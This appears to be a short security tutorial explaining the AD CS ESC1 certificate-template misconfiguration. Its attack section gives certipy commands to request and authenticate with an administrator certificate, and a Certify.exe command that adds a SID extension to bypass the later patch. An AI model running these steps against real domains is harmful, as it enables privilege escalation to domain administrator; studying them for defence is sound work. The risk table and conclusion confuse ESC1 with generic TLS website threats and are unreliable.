ESC1 – Understand the Arbitrary Subject Alternative Name Vulnerability

ESC1 – Understand the Arbitrary Subject Alternative Name Vulnerability

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3 min read

What is the Subject Alternative Name (SAN)?

Arbitrary Subject Alternative Name (SAN) vulnerability is a security concern related to the X.509 certificate standard used in the Transport Layer Security (TLS) protocol.

The Subject Alternative Name field in a certificate allows multiple hostnames to be associated with a single public key.

Table of Contents

  1. What is the Subject Alternative Name (SAN)?
  2. AD CS ESC1 – Security Risks
  3. ESC1 Requirements
  4. Attacking Arbitrary Subject Alternative Name- ESC1
  5. CBA Patch
  6. Conclusion

This is particularly useful in scenarios where a server may have multiple domain names or subdomains.

Arbitrary Subject Alternative Name Vulnerability - ESC1

AD CS ESC1 – Security Risks

Active Directory Certificate Services (AD CS) is crucial for providing public key infrastructure (PKI) functionalities, but it harbors security risks.

Significant among these is the escalation of privileges through misconfigurations, allowing attackers to issue fraudulent certificates or impersonate users.

Additionally, the complexity and maintenance requirements of AD CS make it vulnerable to emerging threats if not properly monitored and updated.

Security Risk

Description

Man-in-the-Middle Attacks

Attackers can exploit the vulnerability to intercept and modify communication between users and the affected server, compromising the confidentiality and integrity of the transmitted data.

Phishing Attacks

Malicious actors may use a certificate with an arbitrary SAN to impersonate a legitimate website, tricking users into providing sensitive information, leading to potential data breaches or fraud.

Domain Hijacking

By manipulating the SAN field, attackers might attempt to take control of a domain or subdomain associated with the certificate, posing a threat to the availability and integrity of online services.

Unauthorized Access

An exploited SAN vulnerability can potentially lead to unauthorized access to sensitive systems or information, compromising the overall security posture of the affected network or infrastructure.

ESC1 Requirements

Req

Description

ENROLLEE_SUPPLIES_SUBJECT

Manual approvals disable

Authorization signatures

Enrollment Rights

List of necessary EKUs

EKU

OID

Description

Client Authentication

1.3.6.1.5.5.7.3.2

PKINIT Client Authentication

1.3.6.1.5.2.3.4

Smart Card Logon

1.3.6.1.4.1.311.20.2.2

Any Purpose

2.5.29.37.0

no EKU

SubCA

Attacking Arbitrary Subject Alternative Name- ESC1

1. Find a Valid Template

certipy find -u [email protected] -p Passw0rd -dc-ip 192.168.160.5

image 1ESC1 - Understand the Arbitrary Subject Alternative Name Vulnerability 5

2. Request Certificate as Administrator

certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.ad-attacks.local -template User -upn administrator@ad-attacks.local -dns dc.ad-attacks.local

3. Connect using the new Administrator Certificate

certipy auth -pfx Administrator.pfx -dc-ip 192.168.160.5

CBA Patch

Certify.exe request /ca:cbp-dc.protectedcb.corp\CBP-CA /template:ProtectedUserAccess /altname:administrator /sidextension:S-1-5-21-1286082170-882298176-404569034-500 /domain:protectedcb.corp

Conclusion

The Arbitrary SAN Vulnerability poses a substantial risk to encrypted communications, potentially allowing attackers to bypass encryption safeguards.

By understanding, detecting, and preventing this vulnerability, organizations can better protect their data integrity and confidentiality in the face of evolving cyber threats.

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